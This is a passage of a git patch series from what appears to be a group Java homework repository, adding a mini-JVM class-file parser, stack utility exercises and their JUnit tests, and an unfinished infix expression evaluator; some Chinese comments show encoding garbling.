+			utf8Info = (UTF8Info) pool.getConstantInfo(9);
+			Assert.assertEquals("<init>", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(10);
+			Assert.assertEquals("(Ljava/lang/String;I)V", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(11);
+			Assert.assertEquals("Code", utf8Info.getValue());
+		}
+		
+		{
+			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(12);
+			Assert.assertEquals(3, methodRef.getClass_index());
+			Assert.assertEquals(13, methodRef.getNameAndType_index());
+		}
+		
+		{
+			NameAndTypeInfo nameAndType = (NameAndTypeInfo) pool.getConstantInfo(13);
+			Assert.assertEquals(9, nameAndType.getClz_index());
+			Assert.assertEquals(14, nameAndType.getDescriptor_index());
+		}
+		//抽查几个吧
+		{
+			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(45);
+			Assert.assertEquals(1, methodRef.getClass_index());
+			Assert.assertEquals(46, methodRef.getNameAndType_index());
+		}
+		
+		{
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(53);
+			Assert.assertEquals("EmployeeV1.java", utf8Info.getValue());
+		}
+    }
+    @Test
+    public void testClassIndex(){
+    	
+    	ClassIndex clzIndex = clzFile.getClzIndex();
+    	ClassInfo thisClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getThisClassIndex());
+    	ClassInfo superClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getSuperClassIndex());
+    	
+    	
+    	Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
+    	Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
+    }
+
+    /**
+     * 下面是第三次JVM课应实现的测试用例
+     */
+    //@Test
+//    public void testReadFields(){
+//   
+//    	List<Field> fields = clzFile.getFields();
+//    	Assert.assertEquals(2, fields.size());
+//    	{
+//    		Field f = fields.get(0);
+//    		Assert.assertEquals("name:Ljava/lang/String;", f.toString());
+//    	}
+//    	{
+//    		Field f = fields.get(1);
+//    		Assert.assertEquals("age:I", f.toString());
+//    	}
+//    }
+//    //@Test
+//    public void testMethods(){
+//   
+//    	List<Method> methods = clzFile.getMethods();
+//    	ConstantPool pool = clzFile.getConstantPool();
+//    	
+//    	{
+//    		Method m = methods.get(0);    		
+//    		assertMethodEquals(pool,m,
+//    				"<init>",
+//    				"(Ljava/lang/String;I)V",
+//    				"2ab7000c2a2bb5000f2a1cb50011b1");
+//    		
+//    	}
+//    	{
+//    		Method m = methods.get(1);    
+//    		assertMethodEquals(pool,m,
+//    				"setName",
+//    				"(Ljava/lang/String;)V",
+//    				"2a2bb5000fb1");
+//    		
+//    	}
+//    	{
+//    		Method m = methods.get(2);    
+//    		assertMethodEquals(pool,m,
+//    				"setAge",
+//    				"(I)V",
+//    				"2a1bb50011b1");
+//    	}
+//    	{
+//    		Method m = methods.get(3); 
+//    		assertMethodEquals(pool,m,
+//    				"sayHello",
+//    				"()V",
+//    				"b2001c1222b60024b1");
+//    		
+//    	}
+//    	{
+//    		Method m = methods.get(4);    
+//    		assertMethodEquals(pool,m,
+//    				"main",
+//    				"([Ljava/lang/String;)V",
+//    				"bb000159122b101db7002d4c2bb6002fb1");
+//    	}
+//    }
+//    
+//    private void assertMethodEquals(ConstantPool pool,Method m , String expectedName, String expectedDesc,String expectedCode){
+//    	String methodName = pool.getUTF8String(m.getNameIndex());
+//		String methodDesc = pool.getUTF8String(m.getDescriptorIndex());    		
+//		String code = m.getCodeAttr().getCode();
+//		Assert.assertEquals(expectedName, methodName);
+//		Assert.assertEquals(expectedDesc, methodDesc);
+//		Assert.assertEquals(expectedCode, code);
+//    }
+   
+
 }
\ No newline at end of file
diff --git a/group06/1454385822/src/com/coding/basic/homework_04/jvm/util/ByteCodeIterator.java b/group06/1454385822/src/com/coding/basic/homework_04/jvm/util/ByteCodeIterator.java
new file mode 100644
index 0000000000..c4518aa650
--- /dev/null
+++ b/group06/1454385822/src/com/coding/basic/homework_04/jvm/util/ByteCodeIterator.java
@@ -0,0 +1,56 @@
+package com.coding.basic.homework_04.jvm.util;
+
+import java.io.UnsupportedEncodingException;
+import java.util.Arrays;
+
+public  class ByteCodeIterator {
+	byte[] codes;
+	int pos = 0;
+
+	public ByteCodeIterator(byte[] codes) {
+		this.codes = codes;
+	}
+
+	
+
+	public byte[] getBytes(int len) {
+		if (pos + len >= codes.length) {
+			throw new ArrayIndexOutOfBoundsException();
+		}
+
+		byte[] data = Arrays.copyOfRange(codes, pos, pos + len);
+		pos += len;
+		return data;
+	}
+
+	public int nextU1toInt() {
+
+		return Util.byteToInt(new byte[] { codes[pos++] });
+	}
+
+	public int nextU2ToInt() {
+		return Util.byteToInt(new byte[] { codes[pos++], codes[pos++] });
+	}
+
+	public int nextU4ToInt() {
+		return Util.byteToInt(new byte[] { codes[pos++], codes[pos++], codes[pos++], codes[pos++] });
+	}
+
+	public String nextU4ToHexString() {
+		return Util.byteToHexString(new byte[] { codes[pos++], codes[pos++], codes[pos++], codes[pos++] });
+	}
+
+	public String nextUxToHexString(int len) throws UnsupportedEncodingException {
+		byte[] tmp = new byte[len];
+
+		for (int i = 0; i < len; i++) {
+			tmp[i] = codes[pos++];
+		}
+		return new String(tmp, "utf8");
+
+	}
+
+	public void back(int n) {
+		this.pos -= n;
+	}
+}
diff --git a/group06/1454385822/src/com/coding/basic/homework_04/jvm/util/Util.java b/group06/1454385822/src/com/coding/basic/homework_04/jvm/util/Util.java
new file mode 100644
index 0000000000..ce35c5a40d
--- /dev/null
+++ b/group06/1454385822/src/com/coding/basic/homework_04/jvm/util/Util.java
@@ -0,0 +1,26 @@
+package com.coding.basic.homework_04.jvm.util;
+
+public class Util {
+
+	public static int byteToInt(byte[] codes){
+		String hexString = byteToHexString(codes);
+		return Integer.valueOf(hexString, 16).intValue();
+	}
+	
+	public static String byteToHexString(byte[] codes ){
+		StringBuffer buffer = new StringBuffer();
+		for(int i=0;i<codes.length;i++){
+			byte b = codes[i];
+			int value = b & 0xFF;
+			String strHex = Integer.toHexString(value);
+			if(strHex.length()< 2){
+				strHex = "0" + strHex;
+			}		
+			buffer.append(strHex);
+		}
+		return buffer.toString();
+	}
+	
+
+	
+}
diff --git a/group06/1454385822/src/com/coding/basic/homework_05/stack/Stack.java b/group06/1454385822/src/com/coding/basic/homework_05/stack/Stack.java
deleted file mode 100644
index 6054e19759..0000000000
--- a/group06/1454385822/src/com/coding/basic/homework_05/stack/Stack.java
+++ /dev/null
@@ -1,32 +0,0 @@
-package com.coding.basic.homework_05.stack;
-
-import com.coding.basic.homework_01.ArrayList;
-
-public class Stack {
-	private ArrayList elementData = new ArrayList();
-	
-	public void push(Object o){	
-		elementData.add(o);
-	}
-	
-	public Object pop(){
-		if(!isEmpty()){
-			return elementData.remove(elementData.size() - 1);
-		}
-		throw new RuntimeException("Stack is Empty");
-	}
-	
-	public Object peek(){
-		if(!isEmpty()){
-			return elementData.get(elementData.size() - 1);
-		}
-		throw new RuntimeException("Stack is Empty");
-	}
-	
-	public boolean isEmpty(){
-		return elementData.size() > 0 ? false : true;
-	}
-	public int size(){
-		return elementData.size();
-	}
-}
diff --git a/group06/1454385822/src/com/coding/basic/homework_05/stack/StackUtil.java b/group06/1454385822/src/com/coding/basic/homework_05/stack/StackUtil.java
index d3fb5f3f08..224ba6e9b2 100644
--- a/group06/1454385822/src/com/coding/basic/homework_05/stack/StackUtil.java
+++ b/group06/1454385822/src/com/coding/basic/homework_05/stack/StackUtil.java
@@ -1,5 +1,7 @@
 package com.coding.basic.homework_05.stack;
 
+import java.util.Stack;
+
 public class StackUtil {
 	
 	
@@ -7,12 +9,27 @@ public class StackUtil {
 	 * 假设栈中的元素是Integer, 从栈顶到栈底是 : 5,4,3,2,1 调用该方法后， 元素次序变为: 1,2,3,4,5
 	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
 	 */
-	public static Stack  reverse(Stack s) {
-		Stack ss = new Stack();
-		while(!s.isEmpty()){
-			ss.push(s.pop());
+	public static void  reverse(Stack s) {
+		if(s.isEmpty()){
+			return;
 		}
-		return ss;
+		Object object = s.pop();
+		reverse(s);
+		addToBottom(s, object);
+	}
+	/**
+	 * 将Object放入到当前栈的底部
+	 * @param s
+	 * @param object
+	 */
+	public static void addToBottom(Stack s, Object object){
+		if(s.isEmpty()){
+			s.push(object);
+			return;
+		}
+		Object tem = s.pop();
+		addToBottom(s, object);
+		s.push(tem);
 	}
 
 	/**
@@ -20,7 +37,7 @@ public static Stack  reverse(Stack s) {
 	 * 
 	 * @param o
 	 */
-	public static Stack remove(Stack s,Object o) {
+	public static void remove(Stack s,Object o) {
 		Stack ss = new Stack();
 		while(!s.isEmpty()){
 			Object object = s.peek();
@@ -30,7 +47,9 @@ public static Stack remove(Stack s,Object o) {
 				ss.push(s.pop());
 			}
 		}
-		return reverse(ss);
+		while(!ss.isEmpty()){
+			s.push(ss.pop());
+		}
 	}
 
 	/**
@@ -57,7 +76,9 @@ public static Object[] getTop(Stack s,int len) {
 				ss.push(s.pop());
 			}
 		}
-		result[result.length - 1] = reverse(ss);
+		while(!ss.isEmpty()){
+			s.push(ss.pop());
+		}
 		return result;
 	}
 	/**
@@ -70,47 +91,29 @@ public static Object[] getTop(Stack s,int len) {
 	 */
 	public static boolean isValidPairs(String s){
 		Stack stack = new Stack();
-		boolean flag = true;
-		char[] chars = s.toCharArray();
-		for (char c : chars) {
-			if(c == '(' || c == ')' || c == '[' || c == ']' || c == '{' || c == '}'){
-				System.out.println(c);
+		for(int i = 0; i<s.length(); i++ ){
+			char c = s.charAt(i);
+			if(c == '(' || c == '[' || c == '{'){
 				stack.push(c);
+			}else if(c == ')'){
+				char c2 = (char) stack.pop();
+				if(c2 != '('){
+					return false;
+				}
+			}else if(c == ']'){
+				char c2 = (char) stack.pop();
+				if(c2 != '['){
+					return false;
+				}
+			}else if(c == '}'){
+				char c2 = (char) stack.pop();
+				if(c2 != '{'){
+					return false;
+				}
 			}
 		}
-		Stack reStack = reverse(stack);
-		while(!stack.isEmpty()){
-			Integer i1 = (Integer) stack.pop();
-			Integer i2 = (Integer) reStack.pop();
-			
-			if(i1 != i2){
-				flag = false;
-				break;
-			}
-		}
-		return flag;
+		return stack.size() == 0;
 	}
 	
-	public static void main(String[] args) {
-		Stack stack = new Stack();
-		stack.push(1);
-		stack.push(2);
-		stack.push(3);
-		stack.push(4);
-		stack.push(5);
-//		String string = "([e{d}f])";
-		String string = "([b{x]y})";
-		System.out.println(isValidPairs(string));
-//		Object[] objects = getTop(stack, 3);
-//		for(int i=0; i<objects.length - 1; i++){
-//			System.out.println((Integer)objects[i]);
-//		}
-		stack = reverse(stack);
-		stack = remove(stack, 3);
-//		stack = (Stack) objects[objects.length - 1];
-		while(!stack.isEmpty()){
-			System.out.println(stack.pop());
-		}
-	}
 	
 }
\ No newline at end of file
diff --git a/group06/1454385822/src/com/coding/basic/homework_05/stack/StackUtilTest.java b/group06/1454385822/src/com/coding/basic/homework_05/stack/StackUtilTest.java
new file mode 100644
index 0000000000..cee01f569d
--- /dev/null
+++ b/group06/1454385822/src/com/coding/basic/homework_05/stack/StackUtilTest.java
@@ -0,0 +1,78 @@
+package com.coding.basic.homework_05.stack;
+
+import static org.junit.Assert.fail;
+
+import java.util.Stack;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+public class StackUtilTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testAddToBottom() {
+		Stack<Integer> s = new Stack();
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		
+		StackUtil.addToBottom(s, 0);
+		
+		Assert.assertEquals("[0, 1, 2, 3]", s.toString());
+		
+	}
+	@Test
+	public void testReverse() {
+		Stack<Integer> s = new Stack();
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		s.push(4);
+		s.push(5);
+		Assert.assertEquals("[1, 2, 3, 4, 5]", s.toString());
+		StackUtil.reverse(s);
+		Assert.assertEquals("[5, 4, 3, 2, 1]", s.toString());
+	}
+
+	@Test
+	public void testRemove() {
+		Stack<Integer> s = new Stack();
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		StackUtil.remove(s, 2);
+		Assert.assertEquals("[1, 3]", s.toString());
+	}
+
+	@Test
+	public void testGetTop() {
+		Stack<Integer> s = new Stack();
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		s.push(4);
+		s.push(5);
+		{
+			Object[] values = StackUtil.getTop(s, 3);
+			Assert.assertEquals(5, values[0]);
+			Assert.assertEquals(4, values[1]);
+			Assert.assertEquals(3, values[2]);
+		}
+	}
+
+	@Test
+	public void testIsValidPairs() {
+		Assert.assertTrue(StackUtil.isValidPairs("([e{d}f])"));
+		Assert.assertFalse(StackUtil.isValidPairs("([b{x]y})"));
+	}
+
+}
diff --git a/group06/1454385822/src/com/coding/basic/homework_06/expr/InfixExpr.java b/group06/1454385822/src/com/coding/basic/homework_06/expr/InfixExpr.java
new file mode 100644
index 0000000000..c6212009bc
--- /dev/null
+++ b/group06/1454385822/src/com/coding/basic/homework_06/expr/InfixExpr.java
@@ -0,0 +1,18 @@
+package com.coding.basic.homework_06.expr;
+
+public class InfixExpr {
+	String expr = null;
+	
+	public InfixExpr(String expr) {
+		this.expr = expr;
+	}
+
+	public float evaluate() {		
+		
+		return 0.0f;
+	}
+	
+
+	
+	
+}
\ No newline at end of file
diff --git a/group06/1454385822/src/com/coding/basic/homework_06/expr/InfixExprTest.java b/group06/1454385822/src/com/coding/basic/homework_06/expr/InfixExprTest.java
new file mode 100644
index 0000000000..49014889ac
--- /dev/null
+++ b/group06/1454385822/src/com/coding/basic/homework_06/expr/InfixExprTest.java
@@ -0,0 +1,48 @@
+package com.coding.basic.homework_06.expr;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+public class InfixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		//InfixExpr expr = new InfixExpr("300*20+12*5-20/4");
+		{
+			InfixExpr expr = new InfixExpr("2+3*4+5");
+			Assert.assertEquals(19.0, expr.evaluate(), 0.001f);
+		}
+		{
+			InfixExpr expr = new InfixExpr("3*20+12*5-40/2");
+			Assert.assertEquals(100.0, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("3*20/2");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("20/2*3");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("10-30+50");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		
+	}
+
+}
\ No newline at end of file

From 8d67f91586b6b2fdfe7026eb68ed71ece86da0f5 Mon Sep 17 00:00:00 2001
From: sawyerwu <664269713@qq.com>
Date: Wed, 12 Apr 2017 19:43:25 +0800
Subject: [PATCH 077/262] mini-jvm 2

---
 .../src/com/ace/coding/StackUtil.java         | 102 +++++++++++++
 .../src/com/ace/jvm/clz/AccessFlag.java       |  25 ++++
 .../src/com/ace/jvm/clz/ClassFile.java        |  75 ++++++++++
 .../src/com/ace/jvm/clz/ClassIndex.java       |  19 +++
 .../src/com/ace/jvm/constant/ClassInfo.java   |  24 ++++
 .../com/ace/jvm/constant/ConstantInfo.java    |  29 ++++
 .../com/ace/jvm/constant/ConstantPool.java    |  29 ++++
 .../com/ace/jvm/constant/FieldRefInfo.java    |  54 +++++++
 .../com/ace/jvm/constant/MethodRefInfo.java   |  55 +++++++
 .../com/ace/jvm/constant/NameAndTypeInfo.java |  45 ++++++
 .../ace/jvm/constant/NullConstantInfo.java    |  13 ++
 .../src/com/ace/jvm/constant/StringInfo.java  |  26 ++++
 .../src/com/ace/jvm/constant/UTF8Info.java    |  32 +++++
 .../com/ace/jvm/loader/ByteCodeIterator.java  |  40 ++++++
 .../com/ace/jvm/loader/ClassFileLoader.java   |   8 +-
 .../com/ace/jvm/loader/ClassFileParser.java   | 134 ++++++++++++++++++
 .../com/ace/jvm/test/ClassFileloaderTest.java | 108 +++++++++++++-
 .../src/com/ace/jvm/util/Util.java            |  24 ++++
 18 files changed, 839 insertions(+), 3 deletions(-)
 create mode 100644 group03/664269713/DataStructure/src/com/ace/coding/StackUtil.java
 create mode 100644 group03/664269713/DataStructure/src/com/ace/jvm/clz/AccessFlag.java
 create mode 100644 group03/664269713/DataStructure/src/com/ace/jvm/clz/ClassFile.java
 create mode 100644 group03/664269713/DataStructure/src/com/ace/jvm/clz/ClassIndex.java
 create mode 100644 group03/664269713/DataStructure/src/com/ace/jvm/constant/ClassInfo.java
 create mode 100644 group03/664269713/DataStructure/src/com/ace/jvm/constant/ConstantInfo.java
 create mode 100644 group03/664269713/DataStructure/src/com/ace/jvm/constant/ConstantPool.java
 create mode 100644 group03/664269713/DataStructure/src/com/ace/jvm/constant/FieldRefInfo.java
 create mode 100644 group03/664269713/DataStructure/src/com/ace/jvm/constant/MethodRefInfo.java
 create mode 100644 group03/664269713/DataStructure/src/com/ace/jvm/constant/NameAndTypeInfo.java
 create mode 100644 group03/664269713/DataStructure/src/com/ace/jvm/constant/NullConstantInfo.java
 create mode 100644 group03/664269713/DataStructure/src/com/ace/jvm/constant/StringInfo.java
 create mode 100644 group03/664269713/DataStructure/src/com/ace/jvm/constant/UTF8Info.java
 create mode 100644 group03/664269713/DataStructure/src/com/ace/jvm/loader/ByteCodeIterator.java
 create mode 100644 group03/664269713/DataStructure/src/com/ace/jvm/loader/ClassFileParser.java
 create mode 100644 group03/664269713/DataStructure/src/com/ace/jvm/util/Util.java

diff --git a/group03/664269713/DataStructure/src/com/ace/coding/StackUtil.java b/group03/664269713/DataStructure/src/com/ace/coding/StackUtil.java
new file mode 100644
index 0000000000..12c6636b1d
--- /dev/null
+++ b/group03/664269713/DataStructure/src/com/ace/coding/StackUtil.java
@@ -0,0 +1,102 @@
+package com.ace.coding;
+
+public class StackUtil {
+
+	/**
+	 * 鍋囪鏍堜腑鐨勫厓绱犳槸Integer, 浠庢爤椤跺埌鏍堝簳鏄� : 5,4,3,2,1 璋冪敤璇ユ柟娉曞悗锛� 鍏冪礌娆″簭鍙樹负:
+	 * 1,2,3,4,5 娉ㄦ剰锛氬彧鑳戒娇鐢⊿tack鐨勫熀鏈搷浣滐紝鍗硃ush,pop,peek,isEmpty锛�
+	 * 鍙互浣跨敤鍙﹀涓�涓爤鏉ヨ緟鍔�
+	 */
+	public static void reverse(Stack s) {
+		if (s.size() == 0) {
+			return;
+		}
+		int last = getLast(s);
+		reverse(s);
+		s.push(last);
+	}
+
+	public static int getLast(Stack s) {
+		int top = (int) s.pop();
+
+		if (s.size() == 0) {
+			return top;
+		} else {
+			int last = getLast(s);
+			s.push(top);
+			return last;
+		}
+	}
+
+	/**
+	 * 鍒犻櫎鏍堜腑鐨勬煇涓厓绱� 娉ㄦ剰锛氬彧鑳戒娇鐢⊿tack鐨勫熀鏈搷浣滐紝鍗硃ush,pop,peek,isEmpty锛�
+	 * 鍙互浣跨敤鍙﹀涓�涓爤鏉ヨ緟鍔�
+	 * 
+	 * @param o
+	 */
+	public static void remove(Stack s, Object o) {
+		Stack newStack = new Stack();
+		for (int i = 0; i < s.size(); i++) {
+			Object obj = s.pop();
+			if (obj == o) {
+				break;
+			}
+			newStack.push(obj);
+		}
+
+		for (int j = 0; j < newStack.size(); j++) {
+			Object obj = newStack.pop();
+			s.push(obj);
+		}
+	}
+
+	/**
+	 * 浠庢爤椤跺彇寰條en涓厓绱�, 鍘熸潵鐨勬爤涓厓绱犱繚鎸佷笉鍙�
+	 * 娉ㄦ剰锛氬彧鑳戒娇鐢⊿tack鐨勫熀鏈搷浣滐紝鍗硃ush,pop,peek,isEmpty锛� 鍙互浣跨敤鍙﹀涓�涓爤鏉ヨ緟鍔�
+	 * 
+	 * @param len
+	 * @return
+	 */
+	public static Object[] getTop(Stack s, int len) {
+		Object[] objArr = new Object[len];
+		Stack newStack = new Stack();
+
+		for (int i = 0; i < len; i++) {
+			Object obj = s.pop();
+			objArr[i] = obj;
+			newStack.push(obj);
+		}
+
+		for (int j = 0; j < len; j++) {
+			Object obj = newStack.pop();
+			s.push(obj);
+		}
+
+		return objArr;
+	}
+
+	/**
+	 * 瀛楃涓瞫 鍙兘鍖呭惈杩欎簺瀛楃锛� ( ) [ ] { }, a,b,c... x,yz
+	 * 浣跨敤鍫嗘爤妫�鏌ュ瓧绗︿覆s涓殑鎷彿鏄笉鏄垚瀵瑰嚭鐜扮殑銆� 渚嬪s = "([e{d}f])" ,
+	 * 鍒欒瀛楃涓蹭腑鐨勬嫭鍙锋槸鎴愬鍑虹幇锛� 璇ユ柟娉曡繑鍥瀟rue 濡傛灉 s = "([b{x]y})",
+	 * 鍒欒瀛楃涓蹭腑鐨勬嫭鍙蜂笉鏄垚瀵瑰嚭鐜扮殑锛� 璇ユ柟娉曡繑鍥瀎alse;
+	 * 
+	 * @param s
+	 * @return
+	 */
+	public static boolean isValidPairs(String s) {
+		Stack stack = new Stack();
+		int len = s.length();
+		for (int i = 0; i < len; i++) {
+			stack.push(s.charAt(i));
+		}
+		StringBuilder stringBuilder = new StringBuilder();
+
+		for (int j = 0; j < stack.size(); j++) {
+			stringBuilder.append(stack.pop());
+		}
+
+		return stringBuilder.toString().equals(s);
+	}
+
+}
diff --git a/group03/664269713/DataStructure/src/com/ace/jvm/clz/AccessFlag.java b/group03/664269713/DataStructure/src/com/ace/jvm/clz/AccessFlag.java
new file mode 100644
index 0000000000..744f7eeadb
--- /dev/null
+++ b/group03/664269713/DataStructure/src/com/ace/jvm/clz/AccessFlag.java
@@ -0,0 +1,25 @@
+package com.ace.jvm.clz;
+
+public class AccessFlag {
+	private int flagValue;
+
+	public AccessFlag(int value) {
+		this.flagValue = value;
+	}
+
+	public int getFlagValue() {
+		return flagValue;
+	}
+
+	public void setFlagValue(int flag) {
+		this.flagValue = flag;
+	}
+	
+	public boolean isPublicClass(){
+		return (this.flagValue & 0x0001) != 0;
+	}
+	public boolean isFinalClass(){
+		return (this.flagValue & 0x0010) != 0;
+	}
+	
+}
\ No newline at end of file
diff --git a/group03/664269713/DataStructure/src/com/ace/jvm/clz/ClassFile.java b/group03/664269713/DataStructure/src/com/ace/jvm/clz/ClassFile.java
new file mode 100644
index 0000000000..98f0539fc7
--- /dev/null
+++ b/group03/664269713/DataStructure/src/com/ace/jvm/clz/ClassFile.java
@@ -0,0 +1,75 @@
+package com.ace.jvm.clz;
+
+import com.ace.jvm.constant.ClassInfo;
+import com.ace.jvm.constant.ConstantPool;
+
+public class ClassFile {
+	
+	private int minorVersion;
+	private int majorVersion;
+	
+	private AccessFlag accessFlag;
+	private ClassIndex clzIndex;
+	private ConstantPool pool;
+	
+	
+	public ClassIndex getClzIndex() {
+		return clzIndex;
+	}
+	public AccessFlag getAccessFlag() {
+		return accessFlag;
+	}
+	public void setAccessFlag(AccessFlag accessFlag) {
+		this.accessFlag = accessFlag;
+	}
+	
+	
+	
+	public ConstantPool getConstantPool() {		
+		return pool;
+	}
+	public int getMinorVersion() {
+		return minorVersion;
+	}
+	public void setMinorVersion(int minorVersion) {
+		this.minorVersion = minorVersion;
+	}
+	public int getMajorVersion() {
+		return majorVersion;
+	}
+	public void setMajorVersion(int majorVersion) {
+		this.majorVersion = majorVersion;
+	}
+	public void setConstPool(ConstantPool pool) {
+		this.pool = pool;
+		
+	}
+	public void setClassIndex(ClassIndex clzIndex) {
+		this.clzIndex = clzIndex;		
+	}
+	
+	
+	
+	
+	public void print(){
+		
+		if(this.accessFlag.isPublicClass()){
+			System.out.println("Access flag : public  ");
+		}
+		System.out.println("Class Name:"+ getClassName());
+		
+		System.out.println("Super Class Name:"+ getSuperClassName());
+		
+		
+	}
+	
+	private String getClassName(){
+		int thisClassIndex = this.clzIndex.getThisClassIndex();
+		ClassInfo thisClass = (ClassInfo)this.getConstantPool().getConstantInfo(thisClassIndex);
+		return thisClass.getClassName();
+	}
+	private String getSuperClassName(){
+		ClassInfo superClass = (ClassInfo)this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
+		return superClass.getClassName();
+	}
+}
diff --git a/group03/664269713/DataStructure/src/com/ace/jvm/clz/ClassIndex.java b/group03/664269713/DataStructure/src/com/ace/jvm/clz/ClassIndex.java
new file mode 100644
index 0000000000..421ae7ef42
--- /dev/null
+++ b/group03/664269713/DataStructure/src/com/ace/jvm/clz/ClassIndex.java
@@ -0,0 +1,19 @@
+package com.ace.jvm.clz;
+
+public class ClassIndex {
+	private int thisClassIndex;
+	private int superClassIndex;
+	
+	public int getThisClassIndex() {
+		return thisClassIndex;
+	}
+	public void setThisClassIndex(int thisClassIndex) {
+		this.thisClassIndex = thisClassIndex;
+	}
+	public int getSuperClassIndex() {
+		return superClassIndex;
+	}
+	public void setSuperClassIndex(int superClassIndex) {
+		this.superClassIndex = superClassIndex;
+	}
+}
\ No newline at end of file
diff --git a/group03/664269713/DataStructure/src/com/ace/jvm/constant/ClassInfo.java b/group03/664269713/DataStructure/src/com/ace/jvm/constant/ClassInfo.java
new file mode 100644
index 0000000000..2e6cf0c08e
--- /dev/null
+++ b/group03/664269713/DataStructure/src/com/ace/jvm/constant/ClassInfo.java
@@ -0,0 +1,24 @@
+package com.ace.jvm.constant;
+
+public class ClassInfo extends ConstantInfo {
+	private int type = ConstantInfo.CLASS_INFO;
+	private int utf8Index ;
+	public ClassInfo(ConstantPool pool) {
+		super(pool);
+	}
+	public int getUtf8Index() {
+		return utf8Index;
+	}
+	public void setUtf8Index(int utf8Index) {
+		this.utf8Index = utf8Index;
+	}
+	public int getType() {
+		return type;
+	}
+	
+	public String getClassName() {		
+		int index = getUtf8Index();
+		UTF8Info utf8Info = (UTF8Info)constantPool.getConstantInfo(index);
+		return utf8Info.getValue();		
+	}
+}
diff --git a/group03/664269713/DataStructure/src/com/ace/jvm/constant/ConstantInfo.java b/group03/664269713/DataStructure/src/com/ace/jvm/constant/ConstantInfo.java
new file mode 100644
index 0000000000..1c67f67c4a
--- /dev/null
+++ b/group03/664269713/DataStructure/src/com/ace/jvm/constant/ConstantInfo.java
@@ -0,0 +1,29 @@
+package com.ace.jvm.constant;
+
+public abstract class ConstantInfo {
+	public static final int UTF8_INFO = 1;
+	public static final int FLOAT_INFO = 4;
+	public static final int CLASS_INFO = 7;
+	public static final int STRING_INFO = 8;
+	public static final int FIELD_INFO = 9;
+	public static final int METHOD_INFO = 10;
+	public static final int NAME_AND_TYPE_INFO = 12;
+	protected ConstantPool constantPool;
+	
+	public ConstantInfo(){
+		
+	}
+	
+	public ConstantInfo(ConstantPool pool) {
+		this.constantPool = pool;
+	}
+	public abstract int getType();
+	
+	public ConstantPool getConstantPool() {
+		return constantPool;
+	}
+	public ConstantInfo getConstantInfo(int index){
+		return this.constantPool.getConstantInfo(index);
+	}
+	
+}
diff --git a/group03/664269713/DataStructure/src/com/ace/jvm/constant/ConstantPool.java b/group03/664269713/DataStructure/src/com/ace/jvm/constant/ConstantPool.java
new file mode 100644
index 0000000000..c067852a99
--- /dev/null
+++ b/group03/664269713/DataStructure/src/com/ace/jvm/constant/ConstantPool.java
@@ -0,0 +1,29 @@
+package com.ace.jvm.constant;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class ConstantPool {
+	
+	private List<ConstantInfo> constantInfos = new ArrayList<ConstantInfo>();
+	
+	
+	public ConstantPool(){
+		
+	}
+	public void addConstantInfo(ConstantInfo info){
+		
+		this.constantInfos.add(info);
+		
+	}
+	
+	public ConstantInfo getConstantInfo(int index){
+		return this.constantInfos.get(index);
+	}
+	public String getUTF8String(int index){
+		return ((UTF8Info)this.constantInfos.get(index)).getValue();
+	}
+	public Object getSize() {		
+		return this.constantInfos.size() -1;
+	}
+}
diff --git a/group03/664269713/DataStructure/src/com/ace/jvm/constant/FieldRefInfo.java b/group03/664269713/DataStructure/src/com/ace/jvm/constant/FieldRefInfo.java
new file mode 100644
index 0000000000..6b04332521
--- /dev/null
+++ b/group03/664269713/DataStructure/src/com/ace/jvm/constant/FieldRefInfo.java
@@ -0,0 +1,54 @@
+package com.ace.jvm.constant;
+
+public class FieldRefInfo extends ConstantInfo{
+	private int type = ConstantInfo.FIELD_INFO;
+	private int classInfoIndex;
+	private int nameAndTypeIndex;
+	
+	public FieldRefInfo(ConstantPool pool) {
+		super(pool);
+	}
+	public int getType() {
+		return type;
+	}
+	
+	public int getClassInfoIndex() {
+		return classInfoIndex;
+	}
+	public void setClassInfoIndex(int classInfoIndex) {
+		this.classInfoIndex = classInfoIndex;
+	}
+	public int getNameAndTypeIndex() {
+		return nameAndTypeIndex;
+	}
+	public void setNameAndTypeIndex(int nameAndTypeIndex) {
+		this.nameAndTypeIndex = nameAndTypeIndex;
+	}
+	
+	public String toString(){
+		
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		
+		return getClassName() +" : "+  typeInfo.getName() + ":" + typeInfo.getTypeInfo() +"]";
+	}
+	
+	public String getClassName(){
+		
+		ClassInfo classInfo = (ClassInfo) this.getConstantInfo(this.getClassInfoIndex());
+		
+		UTF8Info utf8Info = (UTF8Info)this.getConstantInfo(classInfo.getUtf8Index());
+		
+		return utf8Info.getValue();
+		
+	}
+	
+	public String getFieldName(){
